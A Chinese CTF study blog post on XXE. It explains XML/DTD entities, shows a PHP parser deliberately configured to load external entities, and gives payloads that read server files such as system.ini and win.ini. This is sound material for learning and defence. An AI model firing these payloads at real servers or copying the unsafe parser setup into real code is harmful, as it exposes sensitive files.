CTF学习笔记之XXE

一直对XXE理解不是很深入,今天仔细研究一下XXE以及CTF里面的XXE题型。

0x00 XML基本格式

XML 文档有自己的一个格式规范,这个格式规范是由 DTD控制的。文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

以上 DTD 解释如下:

  • 第一行声明XML文件
  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
  • !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
  • !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
  • !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

了解了DTD之后,来看XML的构成。

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

元素

元素是 XML 以及 HTML 文档的主要构建模块

元素就是DTD里面定义的element。

通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。

一个内部实体声明

语法

<!ENTITY entity-name "entity-value">

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

<!ENTITY entity-name SYSTEM "URI/URL">

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &amp;、&lt; 以及 &gt; 实体来分别替换它们。


CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

基本定义学习完了,接下来是XXE的重点,外部实体。

0x01 外部实体

除了<!ENTITY entity-name SYSTEM "URI/URL">这种引用外部实体的方式之外,还有一种引用方式是使用引用公用 DTD ,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在攻击中也可以起到和 SYSTEM 一样的作用。

通用实体与参数实体

实际上从另一个角度看,实体也可以分成通用实体和参数实体:

1.通用实体

用 &加上; 引用的实体,在DTD 中定义,在 XML 文档中引用,其实就是上面提到的。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <lastname>&file;</lastname>  
</updateProfile>

2.参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

例:



<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体可以引用其他参数实体。与命名实体一样,参数实体在整个文档被读取之后才被扩展。

参数实体还是很重要的。因为它是XXE里非常关键的操作。

0x02 有回显的XXE

考虑这样一种极端情况:

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

在这段代码里面,使用input伪协议读取post请求里面的数据将其作为XML解析并且输出。

由此我们可以构造exp读取服务器上的敏感文件。

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

看下效果:

可以看到读取到了服务器上的敏感文件。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值